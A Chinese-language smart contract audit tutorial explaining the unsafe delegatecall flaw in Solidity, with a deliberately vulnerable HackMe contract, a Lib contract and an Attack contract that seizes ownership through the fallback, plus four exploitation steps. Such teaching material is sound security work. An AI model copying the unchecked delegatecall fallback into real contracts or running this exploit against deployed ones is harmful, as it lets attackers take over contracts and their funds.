智能合约审计-不安全的delegatecall

简介

当合约A以delegatecall方式调用时,
相当于将外部合约B的func()代码复制过来
(其函数中涉及的变量或函数都需要在本地存在), 在合约A上下文空间中执行。

合约

pragma solidity ^0.6.0;

// Delegatecall漏洞

contract HackMe{
    address public owner;
    Lib public lib;
    
    constructor(Lib _lib) public{
        owner = msg.sender;
        lib =  Lib(_lib);
    }
    
    fallback() external payable{    // 调用不存在的函数 将调用fallback函数
        address(lib).delegatecall(msg.data);
    }
}

contract Lib{
    address public owner;
    
    function pwn() public{
        owner = msg.sender;
    }
}

contract Attack{
    address public hackMe;
    
    constructor(address _hackMe) public{
        hackMe = _hackMe;
    }
    
    function attack() public{
        hackMe.call(abi.encodeWithSignature("pwn()"));	// hackMe没有pwn函数,就会调用fallback 
    }
}

攻击步骤

  1. 首先account A部署HackMeLibAttack合约
  2. 查看owner,为account A
  3. 然后调用attack函数
  4. 查看owner已经变化
上一篇:Informatic ETL开发步骤


下一篇:Pahom on Water(最大流)